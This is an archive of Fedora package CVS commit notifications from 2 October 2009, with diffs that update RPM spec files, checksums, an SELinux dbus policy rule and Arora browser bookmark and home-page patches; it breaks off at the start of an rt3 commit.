diff -u -p -r1.55 -r1.56
--- policy-20090521.patch	2 Oct 2009 06:46:58 -0000	1.55
+++ policy-20090521.patch	2 Oct 2009 07:12:30 -0000	1.56
@@ -2659,7 +2659,7 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/dbus.if serefpolicy-3.6.12/policy/modules/services/dbus.if
 --- nsaserefpolicy/policy/modules/services/dbus.if	2009-06-25 10:19:44.000000000 +0200
-+++ serefpolicy-3.6.12/policy/modules/services/dbus.if	2009-10-02 08:17:37.000000000 +0200
++++ serefpolicy-3.6.12/policy/modules/services/dbus.if	2009-10-02 09:02:08.000000000 +0200
 @@ -176,6 +176,10 @@
  		xserver_use_xdm_fds($1_dbusd_t)
  		xserver_rw_xdm_pipes($1_dbusd_t)
@@ -2671,7 +2671,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -458,3 +462,26 @@
+@@ -458,3 +462,27 @@
  	allow $1 system_dbusd_t:tcp_socket { read write };
  	allow $1 system_dbusd_t:fd use;
  ')
@@ -2692,7 +2692,8 @@ diff -b -B --ignore-all-space --exclude-
 +                type system_dbusd_t, system_dbusd_var_run_t;
 +        ')
 +
-+	dontaudit $1 system_dbusd_var_run_t:dir manage_dir_perms;
++	dontaudit $1 system_dbusd_var_run_t:dir list_dir_perms;
++	dontaudit $1 system_dbusd_var_run_t:file read_file_perms;
 +	dontaudit $1 system_dbusd_var_run_t:sock_file rw_sock_file_perms;
 +        dontaudit $1 system_dbusd_t:unix_stream_socket connectto;
 +')



From jreznik at fedoraproject.org  Fri Oct  2 07:52:31 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Fri,  2 Oct 2009 07:52:31 +0000 (UTC)
Subject: rpms/kdesvn/F-10 .cvsignore, 1.28, 1.29 kdesvn.spec, 1.52,
	1.53 sources, 1.28, 1.29
Message-ID: <20091002075231.5D46B11C00C1@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/kdesvn/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18954

Modified Files:
	.cvsignore kdesvn.spec sources 
Log Message:
* Thu Oct 01 2009 Jaroslav Reznik <jreznik at redhat.com> - 1.4.1-1
- Update to 1.4.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdesvn/F-10/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	10 Aug 2009 10:55:06 -0000	1.28
+++ .cvsignore	2 Oct 2009 07:52:31 -0000	1.29
@@ -1 +1 @@
-kdesvn-1.4.0.tar.bz2
+kdesvn-1.4.1.tar.bz2


Index: kdesvn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdesvn/F-10/kdesvn.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- kdesvn.spec	10 Aug 2009 10:55:07 -0000	1.52
+++ kdesvn.spec	2 Oct 2009 07:52:31 -0000	1.53
@@ -1,5 +1,5 @@
 Name:           kdesvn
-Version:        1.4.0
+Version:        1.4.1
 Release:        1%{?dist}
 Summary:        A subversion client for KDE4 with KIO integration
 
@@ -107,6 +107,9 @@ xdg-icon-resource forceupdate --theme hi
 
 
 %changelog
+* Thu Oct 01 2009 Jaroslav Reznik <jreznik at redhat.com> - 1.4.1-1
+- Update to 1.4.1
+
 * Mon Aug 10 2009 Jaroslav Reznik <jreznik at redhat.com> - 1.4.0-1
 - Update to 1.4.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdesvn/F-10/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	10 Aug 2009 10:55:07 -0000	1.28
+++ sources	2 Oct 2009 07:52:31 -0000	1.29
@@ -1 +1 @@
-e1766103e7680079c2c4d3ea0ad11187  kdesvn-1.4.0.tar.bz2
+e5778ff1c19e50392a13096ab6756521  kdesvn-1.4.1.tar.bz2



From fabbione at fedoraproject.org  Fri Oct  2 08:05:06 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  2 Oct 2009 08:05:06 +0000 (UTC)
Subject: rpms/cluster/devel cluster.spec,1.60,1.61
Message-ID: <20091002080506.329AF11C00C1@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/cluster/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28302

Modified Files:
	cluster.spec 
Log Message:
Fix gfs-pcmk Requires



Index: cluster.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/devel/cluster.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- cluster.spec	25 Sep 2009 10:26:37 -0000	1.60
+++ cluster.spec	2 Oct 2009 08:05:04 -0000	1.61
@@ -19,7 +19,7 @@
 Name: cluster
 Summary: Red Hat Cluster
 Version: 3.0.3
-Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+Release: 2%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -219,6 +219,7 @@ to drive the Distributed Lock Manager.
 Group: System Environment/Base
 Summary: GFS pacemaker integration layer
 License: GPLv2+ and LGPLv2+
+Requires: dlm-pcmk
 
 %description -n gfs-pcmk
 The gfs-pcmk package contains the daemon that allows pacemaker
@@ -302,6 +303,10 @@ fi
 %{_mandir}/man8/*.gfs.*
 
 %changelog
+* Fri Oct  2 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-2
+- spec file update:
+  - gfs-pcmk now Requires dlm-pcmk
+
 * Fri Sep 25 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - New upstream release
 - spec file updates:



From fabbione at fedoraproject.org  Fri Oct  2 08:05:40 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  2 Oct 2009 08:05:40 +0000 (UTC)
Subject: rpms/cluster/F-12 cluster.spec,1.60,1.61
Message-ID: <20091002080540.8E0C611C00C1@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/cluster/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28471

Modified Files:
	cluster.spec 
Log Message:
Fix gfs-pcmk Requires



Index: cluster.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/F-12/cluster.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- cluster.spec	25 Sep 2009 10:26:37 -0000	1.60
+++ cluster.spec	2 Oct 2009 08:05:40 -0000	1.61
@@ -19,7 +19,7 @@
 Name: cluster
 Summary: Red Hat Cluster
 Version: 3.0.3
-Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+Release: 2%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -219,6 +219,7 @@ to drive the Distributed Lock Manager.
 Group: System Environment/Base
 Summary: GFS pacemaker integration layer
 License: GPLv2+ and LGPLv2+
+Requires: dlm-pcmk
 
 %description -n gfs-pcmk
 The gfs-pcmk package contains the daemon that allows pacemaker
@@ -302,6 +303,10 @@ fi
 %{_mandir}/man8/*.gfs.*
 
 %changelog
+* Fri Oct  2 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-2
+- spec file update:
+  - gfs-pcmk now Requires dlm-pcmk
+
 * Fri Sep 25 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - New upstream release
 - spec file updates:



From fabbione at fedoraproject.org  Fri Oct  2 08:07:21 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  2 Oct 2009 08:07:21 +0000 (UTC)
Subject: rpms/ocfs2-tools/devel ocfs2-tools.spec,1.13,1.14
Message-ID: <20091002080721.41EB611C00C1@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/ocfs2-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28852

Modified Files:
	ocfs2-tools.spec 
Log Message:
Fix -pcmk variant Requires



Index: ocfs2-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocfs2-tools/devel/ocfs2-tools.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- ocfs2-tools.spec	30 Sep 2009 06:51:33 -0000	1.13
+++ ocfs2-tools.spec	2 Oct 2009 08:07:20 -0000	1.14
@@ -6,7 +6,7 @@
 Summary: Tools for managing the Ocfs2 cluster file system
 Name: ocfs2-tools
 Version: 1.4.3
-Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+Release: 2%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2
 Group: System Environment/Base
 # The source for this package was pulled from upstream's git repo and manually
@@ -89,6 +89,7 @@ Summary: Tools for managing the Ocfs2 cl
 Group: System Environment/Base
 Requires: pacemaker >= 1.0.5-1
 Requires: %{name} = %{version}-%{release}
+Requires: dlm-pcmk
 
 %description pcmk
 ocfs2-tools-pcmk contains the daemon required to use Ocfs2 with
@@ -212,6 +213,9 @@ fi
 /usr/lib/ocf/resource.d/ocfs2
 
 %changelog
+* Wed Sep 30 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.3-2
+- Fix -pcmk Requires.
+
 * Wed Sep 30 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.3-1
 - New upstream release.
 



From fabbione at fedoraproject.org  Fri Oct  2 08:07:59 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  2 Oct 2009 08:07:59 +0000 (UTC)
Subject: rpms/ocfs2-tools/F-12 ocfs2-tools.spec,1.13,1.14
Message-ID: <20091002080759.4062311C00C1@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/ocfs2-tools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29058

Modified Files:
	ocfs2-tools.spec 
Log Message:
Fix -pcmk variant Requires



Index: ocfs2-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocfs2-tools/F-12/ocfs2-tools.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- ocfs2-tools.spec	30 Sep 2009 06:53:30 -0000	1.13
+++ ocfs2-tools.spec	2 Oct 2009 08:07:59 -0000	1.14
@@ -6,7 +6,7 @@
 Summary: Tools for managing the Ocfs2 cluster file system
 Name: ocfs2-tools
 Version: 1.4.3
-Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+Release: 2%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2
 Group: System Environment/Base
 # The source for this package was pulled from upstream's git repo and manually
@@ -89,6 +89,7 @@ Summary: Tools for managing the Ocfs2 cl
 Group: System Environment/Base
 Requires: pacemaker >= 1.0.5-1
 Requires: %{name} = %{version}-%{release}
+Requires: dlm-pcmk
 
 %description pcmk
 ocfs2-tools-pcmk contains the daemon required to use Ocfs2 with
@@ -212,6 +213,9 @@ fi
 /usr/lib/ocf/resource.d/ocfs2
 
 %changelog
+* Wed Sep 30 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.3-2
+- Fix -pcmk Requires.
+
 * Wed Sep 30 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.4.3-1
 - New upstream release.
 



From jnovy at fedoraproject.org  Fri Oct  2 08:25:16 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Fri,  2 Oct 2009 08:25:16 +0000 (UTC)
Subject: rpms/xz/devel .cvsignore,1.5,1.6 sources,1.5,1.6 xz.spec,1.5,1.6
Message-ID: <20091002082516.B99F011C00C1@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/xz/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3866

Modified Files:
	.cvsignore sources xz.spec 
Log Message:
* Fri Oct 02 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091002.beta
- sync with upstream to generate the same archives on machines with different
  endianess



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xz/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	28 Aug 2009 02:33:26 -0000	1.5
+++ .cvsignore	2 Oct 2009 08:25:15 -0000	1.6
@@ -1 +1 @@
-xz-4.999.9beta.tar.xz
+xz-4.999.9beta.20091002git.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xz/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	28 Aug 2009 02:33:26 -0000	1.5
+++ sources	2 Oct 2009 08:25:15 -0000	1.6
@@ -1 +1 @@
-62459762f5ac6055051f2929191cd159  xz-4.999.9beta.tar.xz
+5831d58c3dfe600759e8232a1f192dc7  xz-4.999.9beta.20091002git.tar.gz


Index: xz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xz/devel/xz.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- xz.spec	28 Aug 2009 02:33:26 -0000	1.5
+++ xz.spec	2 Oct 2009 08:25:15 -0000	1.6
@@ -1,11 +1,13 @@
+%define git_date 20091002
+
 Summary:	LZMA compression utilities
 Name:		xz
 Version:	4.999.9
-Release:	0.1.beta%{?dist}
+Release:	0.1.beta.%{git_date}git%{?dist}
 License:	LGPLv2+
 Group:		Applications/File
 # source created as "make dist" in checked out GIT tree
-Source0:	http://tukaani.org/%{name}/%{name}-%{version}beta.tar.xz
+Source0:	http://tukaani.org/%{name}/%{name}-%{version}beta.%{git_date}git.tar.gz
 URL:		http://tukaani.org/%{name}/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	%{name}-libs = %{version}-%{release}
@@ -104,6 +106,10 @@ rm -rf %{buildroot}
 %{_mandir}/man1/*
 
 %changelog
+* Fri Oct 02 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091002.beta
+- sync with upstream to generate the same archives on machines with different
+  endianess
+
 * Fri Aug 28 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.beta
 - update to 4.999.9beta
 



From jreznik at fedoraproject.org  Fri Oct  2 08:25:43 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Fri,  2 Oct 2009 08:25:43 +0000 (UTC)
Subject: rpms/arora/devel arora-0.10.0-fedorabookmarks.patch, NONE,
	1.1 arora-0.10.0-gitversion.patch, NONE, 1.1 .cvsignore, 1.10,
	1.11 arora.spec, 1.20, 1.21 sources, 1.10,
	1.11 arora-0.9.0-fedorabookmarks.patch, 1.1,
	NONE arora-0.9.0-gitversion.patch, 1.1, NONE
Message-ID: <20091002082543.7588811C00C1@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/arora/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4007

Modified Files:
	.cvsignore arora.spec sources 
Added Files:
	arora-0.10.0-fedorabookmarks.patch 
	arora-0.10.0-gitversion.patch 
Removed Files:
	arora-0.9.0-fedorabookmarks.patch arora-0.9.0-gitversion.patch 
Log Message:
* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-1
- Update to 0.10.0


arora-0.10.0-fedorabookmarks.patch:
 defaultbookmarks.xbel |   39 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

--- NEW FILE arora-0.10.0-fedorabookmarks.patch ---
diff -up arora-0.10.0/src/data/defaultbookmarks.xbel.fedorabookmarks arora-0.10.0/src/data/defaultbookmarks.xbel
--- arora-0.10.0/src/data/defaultbookmarks.xbel.fedorabookmarks	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/data/defaultbookmarks.xbel	2009-10-02 09:52:11.805729976 +0200
@@ -7,6 +7,45 @@
             <title>Arora</title>
         </bookmark>
     </folder>
+            <folder folded="no">
+            <title>Fedora Project</title>
+            <bookmark href="http://fedoraproject.org/">
+                <title>Fedora Project</title>
+            </bookmark>
+            <bookmark href="http://docs.fedoraproject.org/release-notes/">
+                <title>Release Notes</title>
+            </bookmark>
+            <bookmark href="http://forums.fedoraforum.org/">
+                <title>Fedora Forum</title>
+            </bookmark>
+            <bookmark href="http://fedoraproject.org/wiki/FWN">
+                <title>Fedora Weekly News</title>
+            </bookmark>
+            <bookmark href="http://www.fedoraunity.org/">
+                <title>Fedora Unity Project</title>
+            </bookmark>
+            <bookmark href="http://planet.fedoraproject.org/">
+                <title>Planet Fedora</title>
+            </bookmark>
+            <bookmark href="http://fedoraproject.org/wiki/Communicate">
+                <title>Communicate</title>
+            </bookmark>
+        </folder>
+        <folder folded="no">
+            <title>Red Hat</title>
+            <bookmark href="http://www.redhatmagazine.com/">
+                <title>Red Hat Magazine</title>
+            </bookmark>
+            <bookmark href="http://mugshot.org/main">
+                <title>Mugshot</title>
+            </bookmark>
+            <bookmark href="http://www.redhat.com/">
+                <title>Red Hat</title>
+            </bookmark>
+            <bookmark href="http://www.jboss.com/">
+                <title>JBoss</title>
+            </bookmark>
+        </folder>
     <folder folded="yes">
         <title>Bookmarks Menu</title>
     </folder>

arora-0.10.0-gitversion.patch:
 src.pri |   17 ++---------------
 1 file changed, 2 insertions(+), 15 deletions(-)

--- NEW FILE arora-0.10.0-gitversion.patch ---
diff -up arora-0.10.0/src/src.pri.gitversion arora-0.10.0/src/src.pri
--- arora-0.10.0/src/src.pri.gitversion	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/src.pri	2009-10-02 09:15:43.230739247 +0200
@@ -15,21 +15,8 @@ UI_DIR      = $$PWD/.ui
 MOC_DIR     = $$PWD/.moc
 OBJECTS_DIR = $$PWD/.obj
 
-
-win32 {
-    DEFINES += GITVERSION=0
-    DEFINES += GITCHANGENUMBER=0
-} else {
-    exists($$PWD/../.git/HEAD) {
-        GITVERSION=$$system(git log -n1 --pretty=format:%h)
-        DEFINES += GITVERSION=\"\\\"$$GITVERSION\\\"\"
-        GITCHANGENUMBER=$$system(git log --pretty=format:%h | wc -l)
-        DEFINES += GITCHANGENUMBER=\"\\\"$$GITCHANGENUMBER\\\"\"
-    } else {
-        DEFINES += GITVERSION=\"\\\"0\\\"\"
-        DEFINES += GITCHANGENUMBER=\"\\\"0\\\"\"
-    }
-}
+DEFINES += GITVERSION=\"\\\"c65c20c\\\"\"
+DEFINES += GITCHANGENUMBER=\"\\\"1161\\\"\"
 
 FORMS += \
     aboutdialog.ui \


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/arora/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	31 Aug 2009 11:46:58 -0000	1.10
+++ .cvsignore	2 Oct 2009 08:25:42 -0000	1.11
@@ -1 +1 @@
-arora-0.9.0.tar.gz
+arora-0.10.0.tar.gz


Index: arora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/arora/devel/arora.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- arora.spec	20 Sep 2009 21:12:40 -0000	1.20
+++ arora.spec	2 Oct 2009 08:25:43 -0000	1.21
@@ -1,14 +1,14 @@
 Name:           arora
-Version:        0.9.0
-Release:        2%{?dist}
+Version:        0.10.0
+Release:        1%{?dist}
 Summary:        A cross platform web browser
 
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://code.google.com/p/arora/
 Source0:        http://arora.googlecode.com/files/%{name}-%{version}.tar.gz
-Patch0:         arora-0.9.0-gitversion.patch
-Patch1:         arora-0.9.0-fedorabookmarks.patch
+Patch0:         arora-0.10.0-gitversion.patch
+Patch1:         arora-0.10.0-fedorabookmarks.patch
 Patch2:         arora-0.8.0-fedorahome.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -98,6 +98,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-1
+- Update to 0.10.0
+
 * Sun Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.9.0-2
 - add icon/mime scriptlets
 - don't own %%{_mandir}/man1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/arora/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	31 Aug 2009 11:46:58 -0000	1.10
+++ sources	2 Oct 2009 08:25:43 -0000	1.11
@@ -1 +1 @@
-6473ddb24d65d468265c94710409937b  arora-0.9.0.tar.gz
+664d48d4473f18f561583e453cd39e7d  arora-0.10.0.tar.gz


--- arora-0.9.0-fedorabookmarks.patch DELETED ---


--- arora-0.9.0-gitversion.patch DELETED ---



From jsafrane at fedoraproject.org  Fri Oct  2 08:35:39 2009
From: jsafrane at fedoraproject.org (=?utf-8?b?SmFuIMWgYWZyw6FuZWs=?=)
Date: Fri,  2 Oct 2009 08:35:39 +0000 (UTC)
Subject: rpms/freeipmi/devel .cvsignore, 1.12, 1.13 freeipmi.spec, 1.24,
	1.25 sources, 1.12, 1.13
Message-ID: <20091002083539.B644511C00C1@cvs1.fedora.phx.redhat.com>

Author: jsafrane

Update of /cvs/pkgs/rpms/freeipmi/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9361

Modified Files:
	.cvsignore freeipmi.spec sources 
Log Message:
Update to freeipmi-0.7.13


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/freeipmi/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	9 Sep 2009 07:18:31 -0000	1.12
+++ .cvsignore	2 Oct 2009 08:35:39 -0000	1.13
@@ -1 +1 @@
-freeipmi-0.7.12.tar.gz
+freeipmi-0.7.13.tar.gz


Index: freeipmi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/freeipmi/devel/freeipmi.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- freeipmi.spec	14 Sep 2009 13:44:49 -0000	1.24
+++ freeipmi.spec	2 Oct 2009 08:35:39 -0000	1.25
@@ -2,10 +2,10 @@
 # Copyright (c) 2003 FreeIPMI Core Team
 #
 
-Release: 3%{?dist}
+Release: 1%{?dist}
 
 Name: freeipmi
-Version: 0.7.12
+Version: 0.7.13
 License: GPLv2+
 Group: Applications/System
 URL: http://www.gnu.org/software/freeipmi/
@@ -293,6 +293,9 @@ fi
 %{_mandir}/man8/ipmidetectd.8*
 
 %changelog
+* Fri Oct  2 2009 Jan Safranek <jsafrane at redhat.com> - 0.7.13-1
+- Update to freeipmi-0.7.13
+
 * Mon Sep 14 2009 Jan Safranek <jsafrane at redhat.com> - 0.7.12-2
 - Fix init scripts to be LSB compliant and return correct exit codes
   and provide mandatory actions (#523169, #523177)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/freeipmi/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	9 Sep 2009 07:18:31 -0000	1.12
+++ sources	2 Oct 2009 08:35:39 -0000	1.13
@@ -1 +1 @@
-881bd09c66767051cab94eda032d7039  freeipmi-0.7.12.tar.gz
+759afab1b3946cb858d7e59659b5ca40  freeipmi-0.7.13.tar.gz



From jreznik at fedoraproject.org  Fri Oct  2 08:44:01 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Fri,  2 Oct 2009 08:44:01 +0000 (UTC)
Subject: rpms/arora/devel arora-0.10.0-fedorahome.patch, NONE, 1.1 arora.spec,
	1.21, 1.22 arora-0.8.0-fedorahome.patch, 1.1, NONE
Message-ID: <20091002084401.51F0F11C00C1@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/arora/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12549

Modified Files:
	arora.spec 
Added Files:
	arora-0.10.0-fedorahome.patch 
Removed Files:
	arora-0.8.0-fedorahome.patch 
Log Message:
* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-2
- Fedorahome patch rebased


arora-0.10.0-fedorahome.patch:
 browsermainwindow.cpp |    2 +-
 settings.cpp          |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE arora-0.10.0-fedorahome.patch ---
diff -up arora-0.10.0/src/browsermainwindow.cpp.fedorahome arora-0.10.0/src/browsermainwindow.cpp
--- arora-0.10.0/src/browsermainwindow.cpp.fedorahome	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/browsermainwindow.cpp	2009-10-02 09:52:59.515856829 +0200
@@ -1373,7 +1373,7 @@ void BrowserMainWindow::goHome()
 {
     QSettings settings;
     settings.beginGroup(QLatin1String("MainWindow"));
-    QString home = settings.value(QLatin1String("home"), QLatin1String("about:home")).toString();
+    QString home = settings.value(QLatin1String("home"), QLatin1String("http://start.fedoraproject.org/")).toString();
     tabWidget()->loadString(home);
 }
 
diff -up arora-0.10.0/src/settings.cpp.fedorahome arora-0.10.0/src/settings.cpp
--- arora-0.10.0/src/settings.cpp.fedorahome	2009-10-01 06:50:23.000000000 +0200
+++ arora-0.10.0/src/settings.cpp	2009-10-02 09:52:59.518856379 +0200
@@ -143,7 +143,7 @@ void SettingsDialog::loadFromSettings()
     settings.endGroup();
 
     settings.beginGroup(QLatin1String("MainWindow"));
-    QString defaultHome = QLatin1String("about:home");
+    QString defaultHome = QLatin1String("http://start.fedoraproject.org/");
     homeLineEdit->setText(settings.value(QLatin1String("home"), defaultHome).toString());
     startupBehavior->setCurrentIndex(settings.value(QLatin1String("startupBehavior"), 0).toInt());
     settings.endGroup();


Index: arora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/arora/devel/arora.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- arora.spec	2 Oct 2009 08:25:43 -0000	1.21
+++ arora.spec	2 Oct 2009 08:43:58 -0000	1.22
@@ -1,6 +1,6 @@
 Name:           arora
 Version:        0.10.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A cross platform web browser
 
 Group:          Applications/Internet
@@ -9,7 +9,7 @@ URL:            http://code.google.com/p
 Source0:        http://arora.googlecode.com/files/%{name}-%{version}.tar.gz
 Patch0:         arora-0.10.0-gitversion.patch
 Patch1:         arora-0.10.0-fedorabookmarks.patch
-Patch2:         arora-0.8.0-fedorahome.patch
+Patch2:         arora-0.10.0-fedorahome.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  desktop-file-utils
@@ -98,6 +98,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-2
+- Fedorahome patch rebased
+
 * Fri Oct 02 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.10.0-1
 - Update to 0.10.0
 


--- arora-0.8.0-fedorahome.patch DELETED ---



From kzak at fedoraproject.org  Fri Oct  2 08:46:22 2009
From: kzak at fedoraproject.org (kzak)
Date: Fri,  2 Oct 2009 08:46:22 +0000 (UTC)
Subject: rpms/util-linux-ng/devel util-linux-ng.spec,1.61,1.62
Message-ID: <20091002084622.3715C11C00C1@cvs1.fedora.phx.redhat.com>

Author: kzak

Update of /cvs/pkgs/rpms/util-linux-ng/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13537

Modified Files:
	util-linux-ng.spec 
Log Message:
* Fri Oct  2 2009 Karel Zak <kzak at redhat.com> 2.16-12
- release++



Index: util-linux-ng.spec
===================================================================
RCS file: /cvs/pkgs/rpms/util-linux-ng/devel/util-linux-ng.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- util-linux-ng.spec	1 Oct 2009 19:05:20 -0000	1.61
+++ util-linux-ng.spec	2 Oct 2009 08:46:21 -0000	1.62
@@ -2,7 +2,7 @@
 Summary: A collection of basic system utilities
 Name: util-linux-ng
 Version: 2.16
-Release: 11%{?dist}
+Release: 12%{?dist}
 License: GPLv2 and GPLv2+ and BSD with advertising and Public Domain
 Group: System Environment/Base
 URL: ftp://ftp.kernel.org/pub/linux/utils/util-linux-ng
@@ -724,6 +724,9 @@ fi
 
 
 %changelog
+* Fri Oct  2 2009 Karel Zak <kzak at redhat.com> 2.16-12
+- release++
+
 * Thu Oct  1 2009 Karel Zak <kzak at redhat.com> 2.16-11
 - fix #519237 - bash: cannot set terminal process group (-1): Inappropriate ioctl for device
 



From xavierb at fedoraproject.org  Fri Oct  2 08:58:03 2009
From: xavierb at fedoraproject.org (Xavier Bachelot)
Date: Fri,  2 Oct 2009 08:58:03 +0000 (UTC)
Subject: rpms/rt3/EL-5 .cvsignore, 1.7, 1.8 rt3.spec, 1.26, 1.27 sources, 1.9,
	1.10
Message-ID: <20091002085803.BA68F11C00C1@cvs1.fedora.phx.redhat.com>

Author: xavierb

Update of /cvs/pkgs/rpms/rt3/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17270

Modified Files:
	.cvsignore rt3.spec sources 
Log Message:
update to 3.6.9


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/EL-5/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
